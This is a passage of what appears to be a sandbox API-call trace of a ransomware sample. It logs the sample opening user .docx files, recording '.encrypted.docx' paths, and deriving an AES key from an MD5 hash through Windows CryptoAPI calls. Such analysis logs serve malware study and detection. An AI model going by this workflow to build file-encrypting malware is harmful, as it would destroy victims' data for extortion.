lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.852] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x989, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.852] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2441) returned 1 [0023.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.encrypted.docx\r\n", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0023.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.encrypted.docx\r\n", cchWideChar=54, lpMultiByteStr=0xe8f404c410, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.encrypted.docx\r\n", lpUsedDefaultChar=0x0) returned 54 [0023.853] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40510e0*, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40510e0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x35, lpOverlapped=0x0) returned 1 [0023.853] CloseHandle (hObject=0x188) returned 1 [0023.855] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.855] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.855] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.855] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.855] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.855] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.855] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.856] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.856] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41789c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0023.857] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0023.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41789c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0023.857] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0023.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.docx", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0023.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.docx", cchWideChar=53, lpMultiByteStr=0xe8f404c150, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.docx", lpUsedDefaultChar=0x0) returned 53 [0023.858] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\6hmkgl288io-nw73.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=53, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 53 [0023.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=53, lpWideCharStr=0xe8f4066a70, cchWideChar=53 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.docx") returned 53 [0023.859] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.859] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.859] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.860] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.860] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178420, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0023.860] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0023.860] CloseHandle (hObject=0x188) returned 1 [0023.860] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.860] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.860] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.860] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.860] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.860] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.860] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.861] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.861] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.861] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.861] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.861] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.861] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.861] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.862] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.862] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.862] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.862] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.862] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.862] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0023.862] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.862] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.862] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.862] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.862] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.862] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.862] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.862] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.862] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.862] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.862] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.862] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.862] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.862] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.863] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.863] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.863] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.863] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.863] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.863] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.863] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.863] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.863] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.863] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.864] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.864] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.864] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.864] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418bb40, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.864] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.864] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.864] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.864] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.864] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.864] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.864] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.864] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.864] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0023.864] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.864] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.864] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.864] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.864] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.864] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.864] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.864] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.864] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0023.865] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.866] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.866] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.866] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.866] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.866] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\6hmkgl288io-nw73.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.866] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.866] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, 